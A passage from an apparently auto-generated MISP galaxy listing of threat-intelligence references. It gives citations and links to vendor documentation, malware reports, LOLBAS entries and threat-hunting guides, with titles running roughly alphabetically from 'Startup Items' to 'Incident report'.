The tag is: *misp-galaxy:references="Startup Items Eclectic"*

Table 21125. Table References

Links
https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/

Podman Systemd

Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024.

The tag is: *misp-galaxy:references="Podman Systemd"*

Table 21126. Table References

Links
https://www.redhat.com/sysadmin/podman-run-pods-systemd-services

CrowdStrike Endpoint Security Testing Oct 2021

Radu Vlad, Liviu Arsene. (2021, October 15). How to Test Endpoint Security Efficacy and What to Expect. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="CrowdStrike Endpoint Security Testing Oct 2021"*

Table 21127. Table References

Links
https://www.crowdstrike.com/blog/how-to-test-endpoint-security-with-red-teaming/

Microsoft Disable VBA Jan 2020

Microsoft. (2020, January 23). How to turn off Visual Basic for Applications when you deploy Office. Retrieved September 17, 2020.

The tag is: *misp-galaxy:references="Microsoft Disable VBA Jan 2020"*

Table 21128. Table References

Links
https://docs.microsoft.com/en-us/previous-versions/office/troubleshoot/office-developer/turn-off-visual-basic-for-application

Entra Managed Identities 2025

Microsoft Entra. (2025, February 27). How to use managed identities for Azure resources on an Azure VM to acquire an access token. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Entra Managed Identities 2025"*

Table 21129. Table References

Links
https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token

Red Hat Systemctl 2022

Damon Garn. (2022, May 17). How to use systemctl to manage Linux services. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Red Hat Systemctl 2022"*

Table 21130. Table References

Links

https://www.redhat.com/en/blog/linux-systemctl-manage-services

Microsoft Regsvr32

Microsoft. (2015, August 14). How to use the Regsvr32 tool and troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.

The tag is: *misp-galaxy:references="Microsoft Regsvr32"*

Table 21131. Table References

Links
https://support.microsoft.com/en-us/kb/249873

Microsoft SAM

Microsoft. (2006, October 30). How to use the SysKey utility to secure the Windows Security Accounts Manager database. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Microsoft SAM"*

Table 21132. Table References

Links
https://support.microsoft.com/en-us/kb/310105

AWS Traffic Mirroring

Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.

The tag is: *misp-galaxy:references="AWS Traffic Mirroring"*

Table 21133. Table References

Links
https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html

Symantec Hydraq Persistence Jan 2010

Fitzgerald, P. (2010, January 26). How Trojan.Hydraq Stays On Your Computer. Retrieved February 22, 2018.

The tag is: *misp-galaxy:references="Symantec Hydraq Persistence Jan 2010"*

Table 21134. Table References

Links
https://www.symantec.com/connect/blogs/how-trojanhydraq-stays-your-computer

Microsoft UAC Nov 2018

Montemayor, D. et al.. (2018, November 15). How User Account Control works. Retrieved June 3, 2019.

The tag is: *misp-galaxy:references="Microsoft UAC Nov 2018"*

Table 21135. Table References

Links
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works

TechNet How UAC Works

Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="TechNet How UAC Works"*

Table 21136. Table References

Links
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works

PWC WellMess July 2020

PWC. (2020, July 16). How WellMess malware has been used to target COVID-19 vaccines. Retrieved September 24, 2020.

The tag is: *misp-galaxy:references="PWC WellMess July 2020"*

Table 21137. Table References

Links
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html

Google Election Threats October 2020

Huntley, S. (2020, October 16). How We're Tackling Evolving Online Threats. Retrieved March 24, 2021.

The tag is: *misp-galaxy:references="Google Election Threats October 2020"*

Table 21138. Table References

Links
https://blog.google/threat-analysis-group/how-were-tackling-evolving-online-threats/

Microsoft Credential Guard April 2017

Lich, B., Tobin, J. (2017, April 5). How Windows Defender Credential Guard works. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft Credential Guard April 2017"*

Table 21139. Table References

Links
https://docs.microsoft.com/windows/access-protection/credential-guard/credential-guard-how-it-works

NPPSPY Video

Grzegorz Tworek. (2021, December 14). How winlogon.exe shares the cleartext password with custom DLLs. Retrieved March 30, 2023.

The tag is: *misp-galaxy:references="NPPSPY Video"*

Table 21140. Table References

Links
https://www.youtube.com/watch?v=ggY3srD9dYs

BleepingComputer HPE January 24 2024

Lawrence Abrams. (2024, January 24). HPE: Russian hackers breached its security team's email accounts. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="BleepingComputer HPE January 24 2024"*

Table 21141. Table References

Links
https://www.bleepingcomputer.com/news/security/hpe-russian-hackers-breached-its-security-teams-email-accounts/

Cylance Sodinokibi July 2019

Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="Cylance Sodinokibi July 2019"*

Table 21142. Table References

Links
https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html

Medium April 21 2025

Ptwistedworld. (2025, April 21). HRSword EDR Killer. Retrieved June 8, 2025.

The tag is: *misp-galaxy:references="Medium April 21 2025"*

Table 21143. Table References

Links
https://mikellebandin.medium.com/hrsword-edr-killer-88af83ec1c7b

Wikipedia HTML Application

Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.

The tag is: *misp-galaxy:references="Wikipedia HTML Application"*

Table 21144. Table References

Links
https://en.wikipedia.org/wiki/HTML_Application

MSDN HTML Applications

Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.

The tag is: *misp-galaxy:references="MSDN HTML Applications"*

Table 21145. Table References

Links
https://msdn.microsoft.com/library/ms536471.aspx

Microsoft HTML Help ActiveX

Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Microsoft HTML Help ActiveX"*

Table 21146. Table References

Links
https://msdn.microsoft.com/windows/desktop/ms644670

Talos SVG Smuggling 2022

Adam Katz and Jaeson Schultz. (2022, December 13). HTML smugglers turn to SVG images. Retrieved March 25, 2025.

The tag is: *misp-galaxy:references="Talos SVG Smuggling 2022"*

Table 21147. Table References

Links
https://blog.talosintelligence.com/html-smugglers-turn-to-svg-images/

Outlflank HTML Smuggling 2018

Hegt, S. (2018, August 14). HTML smuggling explained. Retrieved May 20, 2021.

The tag is: *misp-galaxy:references="Outlflank HTML Smuggling 2018"*

Table 21148. Table References

Links
https://outflank.nl/blog/2018/08/14/html-smuggling-explained/

CrowdStrike Linux Rootkit

Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="CrowdStrike Linux Rootkit"*

Table 21149. Table References

Links
https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/

Wikipedia HPKP

Wikipedia. (2017, February 28). HTTP Public Key Pinning. Retrieved March 31, 2017.

The tag is: *misp-galaxy:references="Wikipedia HPKP"*

Table 21150. Table References

Links
https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning

Cobalt Strike Arguments 2019

Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.

The tag is: *misp-galaxy:references="Cobalt Strike Arguments 2019"*

Table 21151. Table References

Links
https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/

Talos Discord Webhook Abuse

Nick Biasini, Edmund Brumaghin, Chris Neal, and Paul Eubanks. (2021, April 7). https://blog.talosintelligence.com/collab-app-abuse/. Retrieved July 20, 2023.

The tag is: *misp-galaxy:references="Talos Discord Webhook Abuse"*

Table 21152. Table References

Links
https://blog.talosintelligence.com/collab-app-abuse/

Red Canary Emotet Feb 2019

Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.

The tag is: *misp-galaxy:references="Red Canary Emotet Feb 2019"*

Table 21153. Table References

Links
https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/

TechNet Removable Media Control

Microsoft. (2007, August 31). https://technet.microsoft.com/en-us/library/cc771759(v=ws.10).aspx. Retrieved April 20, 2016.

The tag is: *misp-galaxy:references="TechNet Removable Media Control"*

Table 21154. Table References

Links
https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx

Chromium HSTS

Chromium. (n.d.). HTTP Strict Transport Security. Retrieved May 24, 2023.

The tag is: *misp-galaxy:references="Chromium HSTS"*

Table 21155. Table References

Links

https://www.chromium.org/hsts/

CISA AA20-301A Kimsuky

CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.

The tag is: *misp-galaxy:references="CISA AA20-301A Kimsuky"*

Table 21156. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa20-301a

FireEye Targeted Attacks Middle East Banks

Singh, S., Yin, H. (2016, May 22). https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Targeted Attacks Middle East Banks"*

Table 21157. Table References

Links
https://web.archive.org/web/20200618235708/https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html

Forbes Dyre May 2017

Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020.

The tag is: *misp-galaxy:references="Forbes Dyre May 2017"*

Table 21158. Table References

Links
https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a

Orange Cyberdefense Hunt3r Kill3rs May 24 2024

Orange Cyberdefense. (n.d.). Hunt3r Kill3rs Group. Retrieved January 17, 2025.

The tag is: *misp-galaxy:references="Orange Cyberdefense Hunt3r Kill3rs May 24 2024"*

Table 21159. Table References

Links
https://www.orangecyberdefense.com/fileadmin/global/CyberIntelligenceBureau/Gangs_Investigations/Hunt3rKill3rsGroup/Hunt3rKill3rsGroup.pdf

Microsoft Subscription Hijacking 2022

Dor Edry. (2022, August 24). Hunt for compromised Azure subscriptions using Microsoft Defender for Cloud Apps. Retrieved September 5, 2023.

The tag is: *misp-galaxy:references="Microsoft Subscription Hijacking 2022"*

Table 21160. Table References

Links
https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121

Harries JustForFun 2022

Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Harries JustForFun 2022"*

Table 21161. Table References

Links
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/

crowdstrike bpf socket filters

Jamie Harries. (2022, May 25). Hunting a Global Telecommunications Threat: DecisiveArchitect and Its Custom Implant JustForFun. Retrieved October 18, 2022.

The tag is: *misp-galaxy:references="crowdstrike bpf socket filters"*

Table 21162. Table References

Links
https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/

Koczwara Beacon Hunting Sep 2021

Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Koczwara Beacon Hunting Sep 2021"*

Table 21163. Table References

Links
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2

Fireeye Hunting COM June 2019

Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.

The tag is: *misp-galaxy:references="Fireeye Hunting COM June 2019"*

Table 21164. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Berba hunting linux systemd

Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.

The tag is: *misp-galaxy:references="Berba hunting linux systemd"*

Table 21165. Table References

Links
https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/

Pepe Berba Systemd 2022

Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.

The tag is: *misp-galaxy:references="Pepe Berba Systemd 2022"*

Table 21166. Table References

Links
https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/

Elastic HuntingNMemory June 2017

Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December 7, 2017.

The tag is: *misp-galaxy:references="Elastic HuntingNMemory June 2017"*

Table 21167. Table References

Links
https://www.endgame.com/blog/technical-blog/hunting-memory

LogPoint Hunting LockBit

LogPoint. (n.d.). Hunting LockBit Variations using Logpoint. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="LogPoint Hunting LockBit"*

Table 21168. Table References

Links
https://www.logpoint.com/wp-content/uploads/2022/10/hunting-lockbit-variations-using-logpoint-.pdf

Splunk Hunting M365 Invaders 2024

Mauricio Velazco. (2024, January 4). Hunting M365 Invaders: Blue Team's Guide to Initial Access Vectors. Retrieved April 3, 2025.

The tag is: *misp-galaxy:references="Splunk Hunting M365 Invaders 2024"*

Table 21169. Table References

Links
https://www.splunk.com/en_us/blog/security/hunting-m365-invaders-blue-team-s-guide-to-initial-access-vectors.html

Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023

FBI et al. (2023, May 9). Hunting Russian Intelligence "Snake" Malware. Retrieved June 8, 2023.

The tag is: *misp-galaxy:references="Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023"*

Table 21170. Table References

Links
https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf

Falcon Sandbox smp: 28553b3a9d

Hybrid Analysis. (2018, July 11). HybridAnalsysis of sample 28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7. Retrieved September 8,

2023.

The tag is: *misp-galaxy:references="Falcon Sandbox smp: 28553b3a9d"*

Table 21171. Table References

Links
https://www.hybrid-analysis.com/sample/28553b3a9d2ad4361d33d29ac4bf771d008e0073cec01b5561c6348a608f8dd7?environmentId=300

Wikipedia Hypervisor

Wikipedia. (2016, May 23). Hypervisor. Retrieved June 11, 2016.

The tag is: *misp-galaxy:references="Wikipedia Hypervisor"*

Table 21172. Table References

Links
https://en.wikipedia.org/wiki/Hypervisor

Crowdstrike Hypervisor Jackpotting Pt 2 2021

Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.

The tag is: *misp-galaxy:references="Crowdstrike Hypervisor Jackpotting Pt 2 2021"*

Table 21173. Table References

Links
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/

SentinelOne May 11 2023

Alex Delamotte. (2023, May 11). Hypervisor Ransomware . Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne May 11 2023"*

Table 21174. Table References

Links
https://www.sentinelone.com/labs/hypervisor-ransomware-multiple-threat-actor-groups-hop-on-leaked-babuk-code-to-build-esxi-lockers/

FireEye ADFS

Bierstock, D., Baker, A. (2019, March 21). I am AD FS and So Can You. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="FireEye ADFS"*

Table 21175. Table References

Links
https://www.troopers.de/troopers19/agenda/fpxwmn/

AWS IAM Conditions

AWS. (n.d.). IAM JSON policy elements: Condition. Retrieved January 2, 2024.

The tag is: *misp-galaxy:references="AWS IAM Conditions"*

Table 21176. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_condition.html

AWS EKS IAM Roles for Service Accounts

Amazon Web Services. (n.d.). IAM roles for service accounts. Retrieved July 14, 2023.

The tag is: *misp-galaxy:references="AWS EKS IAM Roles for Service Accounts"*

Table 21177. Table References

Links
https://docs.aws.amazon.com/eks/latest/userguide/iam-roles-for-service-accounts.html

Kaspersky IAmTheKing October 2020

Ivan Kwiatkowski, Pierre Delcher, Felix Aime. (2020, October 15). IAmTheKing and the SlothfulMedia malware family. Retrieved October 15, 2020.

The tag is: *misp-galaxy:references="Kaspersky IAmTheKing October 2020"*

Table 21178. Table References

Links
https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/

Amazon IAM Groups

Amazon. (n.d.). IAM user groups. Retrieved October 13, 2021.

The tag is: *misp-galaxy:references="Amazon IAM Groups"*

Table 21179. Table References

Links
https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html

IAPP

IAPP. (n.d.). Retrieved March 5, 2024.

The tag is: *misp-galaxy:references="IAPP"*

Table 21180. Table References

Links
https://iapp.org/resources/article/web-beacon/

CrowdStrike IceApple May 2022

CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.

The tag is: *misp-galaxy:references="CrowdStrike IceApple May 2022"*

Table 21181. Table References

Links
https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf

Trendmicro_IcedID

Kenefick , I. (2022, December 23). IcedID Botnet Distributors Abuse Google PPC to Distribute Malware. Retrieved July 24, 2024.

The tag is: *misp-galaxy:references="Trendmicro_IcedID"*

Table 21182. Table References

Links
https://www.trendmicro.com/en_us/research/22/l/icedid-botnet-distributors-abuse-google-ppc-to-distribute-malware.html

ICIT China’s Espionage Jul 2016

Scott, J. and Spaniel, D. (2016, July 28). ICIT Brief - China’s Espionage Dynasty: Economic Death by a Thousand Cuts. Retrieved June 7, 2018.

The tag is: *misp-galaxy:references="ICIT China's Espionage Jul 2016"*

Table 21183. Table References

Links
https://web.archive.org/web/20171017072306/https://icitech.org/icit-brief-chinas-espionage-dynasty-economic-death-by-a-thousand-cuts/

CISA ICS Advisory ICSA-10-272-01

CISA. (2010, September 10). ICS Advisory (ICSA-10-272-01). Retrieved December 7, 2020.

The tag is: *misp-galaxy:references="CISA ICS Advisory ICSA-10-272-01"*

Table 21184. Table References

Links
https://us-cert.cisa.gov/ics/advisories/ICSA-10-272-01

US-CERT Ukraine Feb 2016

US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="US-CERT Ukraine Feb 2016"*

Table 21185. Table References

Links
https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01

Dragos Threat Report 2020

Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021.

The tag is: *misp-galaxy:references="Dragos Threat Report 2020"*

Table 21186. Table References

Links
https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770

id man page

MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.

The tag is: *misp-galaxy:references="id man page"*

Table 21187. Table References

Links
https://linux.die.net/man/1/id

Cisco Advisory SNMP v3 Authentication Vulnerabilities

Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.

The tag is: *misp-galaxy:references="Cisco Advisory SNMP v3 Authentication Vulnerabilities"*

Table 21188. Table References

Links
https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3

Resource and Data Forks

Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved October 12, 2021.

The tag is: *misp-galaxy:references="Resource and Data Forks"*

Table 21189. Table References

Links
https://flylib.com/books/en/4.395.1.192/1/

AWS Identity Federation

Amazon. (n.d.). Identity Federation in AWS. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="AWS Identity Federation"*

Table 21190. Table References

Links
https://aws.amazon.com/identity/federation/

Microsoft GetNCCChanges

Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017.

The tag is: *misp-galaxy:references="Microsoft GetNCCChanges"*

Table 21191. Table References

Links
https://msdn.microsoft.com/library/dd207691.aspx

Ie4uinit.exe - LOLBAS Project

LOLBAS. (2018, May 25). Ie4uinit.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ie4uinit.exe - LOLBAS Project"*

Table 21192. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/

Ieadvpack.dll - LOLBAS Project

LOLBAS. (2018, May 25). Ieadvpack.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ieadvpack.dll - LOLBAS Project"*

Table 21193. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Ieadvpack/

iediagcmd.exe - LOLBAS Project

LOLBAS. (2022, March 29). iediagcmd.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="iediagcmd.exe - LOLBAS Project"*

Table 21194. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Iediagcmd/

Wikipedia 802.1x

Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Wikipedia 802.1x"*

Table 21195. Table References

Links
https://en.wikipedia.org/wiki/IEEE_802.1X

Ieexec.exe - LOLBAS Project

LOLBAS. (2018, May 25). Ieexec.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ieexec.exe - LOLBAS Project"*

Table 21196. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ieexec/

Ieframe.dll - LOLBAS Project

LOLBAS. (2018, May 25). Ieframe.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ieframe.dll - LOLBAS Project"*

Table 21197. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Ieframe/

Wikipedia Ifconfig

Wikipedia. (2016, January 26). ifconfig. Retrieved April 17, 2016.

The tag is: *misp-galaxy:references="Wikipedia Ifconfig"*

Table 21198. Table References

Links
https://en.wikipedia.org/wiki/Ifconfig

EFF Manul Aug 2016

Galperin, E., Et al.. (2016, August). I Got a Letter From the Government the Other Day.... Retrieved April 25, 2018.

The tag is: *misp-galaxy:references="EFF Manul Aug 2016"*

Table 21199. Table References

Links
https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf

IIS Backdoor 2011

Julien. (2011, February 2). IIS Backdoor. Retrieved June 3, 2021.

The tag is: *misp-galaxy:references="IIS Backdoor 2011"*

Table 21200. Table References

Links
https://web.archive.org/web/20170106175935/http:/esec-lab.sogeti.com/posts/2011/02/02/iis-backdoor.html

Microsoft IIS Modules Overview 2007

Microsoft. (2007, November 24). IIS Modules Overview. Retrieved June 17, 2021.

The tag is: *misp-galaxy:references="Microsoft IIS Modules Overview 2007"*

Table 21201. Table References

Links
https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview

Proofpoint TA456 Defense Contractor July 2021

Miller, J. et. al. (2021, July 28). I Knew You Were Trouble: TA456 Targets Defense Contractor with Alluring Social Media Persona. Retrieved March 11, 2024.

The tag is: *misp-galaxy:references="Proofpoint TA456 Defense Contractor July 2021"*

Table 21202. Table References

Links
https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media

Ilasm.exe - LOLBAS Project

LOLBAS. (2020, March 17). Ilasm.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Ilasm.exe - LOLBAS Project"*

Table 21203. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Ilasm/

anomali-rocke-tactics

Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="anomali-rocke-tactics"*

Table 21204. Table References

Links
https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect

Microsoft Dev Blog IFEO Mar 2010

Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.

The tag is: *misp-galaxy:references="Microsoft Dev Blog IFEO Mar 2010"*

Table 21205. Table References

Links
https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/

IMEWDBLD.exe - LOLBAS Project

LOLBAS. (2020, March 5). IMEWDBLD.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="IMEWDBLD.exe - LOLBAS Project"*

Table 21206. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/

Imminent Unit42 Dec2019

Unit 42. (2019, December 2). Imminent Monitor – a RAT Down Under. Retrieved May 5, 2020.

The tag is: *misp-galaxy:references="Imminent Unit42 Dec2019"*

Table 21207. Table References

Links
https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/

Core Security Impacket

Core Security. (n.d.). Impacket. Retrieved November 2, 2017.

The tag is: *misp-galaxy:references="Core Security Impacket"*

Table 21208. Table References

Links
https://www.coresecurity.com/core-labs/open-source-tools/impacket

Impacket Tools

SecureAuth. (n.d.). Retrieved January 15, 2019.

The tag is: *misp-galaxy:references="Impacket Tools"*

Table 21209. Table References

Links
https://www.secureauth.com/labs/open-source-tools/impacket

Dragos FROSTYGOOP 2024

Mark Graham, Carolyn Ahlers, Kyle O'Meara; Dragos. (2024, July). Impact of FrostyGoop ICS Malware on Connected OT Systems. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Dragos FROSTYGOOP 2024"*

Table 21210. Table References

Links
https://hub.dragos.com/hubfs/Reports/Dragos-FrostyGoop-ICS-Malware-Intel-Brief-0724_r2.pdf

EK Impeding Malware Analysis

Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.

The tag is: *misp-galaxy:references="EK Impeding Malware Analysis"*

Table 21211. Table References

Links
https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf

Microsoft Impersonation and EWS in Exchange

Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.

The tag is: *misp-galaxy:references="Microsoft Impersonation and EWS in Exchange"*

Table 21212. Table References

Links

https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange

Microsoft Implementing CPL

1. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.

The tag is: *misp-galaxy:references="Microsoft Implementing CPL"*

Table 21213. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx

TechNet Least Privilege

Microsoft. (2016, April 16). Implementing Least-Privilege Administrative Models. Retrieved June 3, 2016.

The tag is: *misp-galaxy:references="TechNet Least Privilege"*

Table 21214. Table References

Links
https://technet.microsoft.com/en-us/library/dn487450.aspx

Dragos IT ICS Ransomware

Slowik, J.. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved January 28, 2021.

The tag is: *misp-galaxy:references="Dragos IT ICS Ransomware"*

Table 21215. Table References

Links
https://www.dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Dragos Apr 2019

Joe Slowik. (2019, April 10). Implications of IT Ransomware for ICS Environments. Retrieved October 27, 2019.

The tag is: *misp-galaxy:references="Dragos Apr 2019"*

Table 21216. Table References

Links

https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

Microsoft SolarWinds Steps

Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="Microsoft SolarWinds Steps"*

Table 21217. Table References

Links
https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/

White House Imposing Costs RU Gov April 2021

White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021.

The tag is: *misp-galaxy:references="White House Imposing Costs RU Gov April 2021"*

Table 21218. Table References

Links
https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/

Malicious Driver Reporting Center

Azure Edge and Platform Security Team & Microsoft 365 Defender Research Team. (2021, December 8). Improve kernel security with the new Microsoft Vulnerable and Malicious Driver Reporting Center. Retrieved April 6, 2022.

The tag is: *misp-galaxy:references="Malicious Driver Reporting Center"*

Table 21219. Table References

Links
https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/

Unit 42 Inception November 2018

Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020.

The tag is: *misp-galaxy:references="Unit 42 Inception November 2018"*

Table 21220. Table References

Links
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/

Symantec Inception Framework March 2018

Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.

The tag is: *misp-galaxy:references="Symantec Inception Framework March 2018"*

Table 21221. Table References

Links
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies

Expel AWS Attacker

Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.

The tag is: *misp-galaxy:references="Expel AWS Attacker"*

Table 21222. Table References

Links
https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/

Dark Reading Microsoft 365 Attacks 2021

